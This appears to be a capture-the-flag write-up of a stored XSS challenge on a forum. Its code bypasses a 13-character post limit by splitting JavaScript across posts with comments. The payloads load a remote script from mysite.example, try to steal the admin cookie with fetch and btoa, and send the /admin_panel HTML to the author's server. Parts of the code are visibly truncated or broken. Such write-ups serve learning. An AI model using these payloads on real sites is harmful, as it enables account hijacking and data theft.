BSK2020 - Lorak_

Web task

In this task, we are provided with url: This site allows is some kind of forum - it lets us create threads, and then post messages in them. We can also report the thread to admin - which is a pretty strong hint that this is a XSS challenge.

Thread creation:

Thread with 2 messages:

Message length is very limited. There is info on main page: "Posts are strictly limited to 13 characters (and that includes HTML formatting automatically added by the editor)".

Messages are sent using POST requests. Body of request is in format content=contents_of_message. The editor wraps our message in HTML <p> tags, so message test will be sent as <p>test</p>. This is something that immediately seems like a great place for XSS. And indeed, changing payload to content=<script> inserts script tag into DOM and breaks the site.

Now, there is one thing that prevents us from executing arbitrary js: message length limit. But it is pretty easy to bypass. We can split our js payload into multiple parts using comments /* */. For example, first message may be <script>/*, second one */alert(1)/* and third one */</script>. Sending those 3 messages results in expected alert. After reserving 4 characters for closing and opening comment we are left with 9 chars of js per message, which is enough to execute pretty much arbitrary code. To make my life easier, I prepared small snippet which dynamically added <script src=mysite.example/mypayload.js> tag to DOM, letting me execute arbitrary js without any hassle.

Here is the script that creates thread, which upon visiting loads our payload.js:

#!/usr/bin/env python

import requests
import re


def get_payload():
    text = open('payload.js').read().split('\n')
    for line in text:
        line = line.strip()
    text = ''.join(text)
    text = text.replace('$', '/*$*/')
    lines = text.split('$')
    return lines

def create_thread():
    r ='', data={'title': 'ArmiaPrezesa'}, allow_redirects=False)
    return re.match(BASE_URL + '/thread/(\w+)', r._next.url).group(1)

def send_element(thread_id, data):
    r ='{thread_id}', data={'content': data})

def main():
    thread_id = create_thread()
    payload = get_payload()
    for element in payload:
        if len(element) > 13:
            print(f'Too long element: {element}')
    for element in payload:
    for element in payload:
        send_element(thread_id, element)
    print(f'Payload send! url: {BASE_URL}/thread/{thread_id}')

if  __name__ == '__main__':

Here is the payload used by python script. The only trick we need to encode it in blocks with length <= 9 is accessing object fields with ['name'] instead of .name.

var s=$document$['cre'+$'ate'+$'Ele'+$'ment']($'script'$);$

Now, all that's left is to find the flag. First attempt was of coure stealing admin cookies with payload such as: fetch('' + btoa(document.cookie)). But unfortunately, admin has no cookies (or at least no cookies without httpOnly flag).

Request from admin, as you can see data parameter is empty:

To get the flag, we must first notice the existence of /admin_panel endpoint. There are at least 2 ways to do that:

  1. If you look at Referer header in bot's request, it points to that exact endpoint.
  2. Scan the site with tool like, the default list can locate this url.

Ok, so we probably need contents of /admin_panel. If we look at headers of response from any endpoint, we can see that X-Frame-Options header is set to SAMEORIGIN - which means we can almost surely load /admin_panel in iframe and access it's content.

Payload that extracts /admin_panel and sends content to my server:

function prepareFrame() {
        var iframe = document.createElement("iframe");
        iframe.setAttribute("src", "/admin_panel");
        iframe.onload = function() {
            fetch('', {method: 'POST', body: btoa(iframe.contentWindow.document.documentElement.outerHTML)});

As expected, admin sent us request with pretty long payload: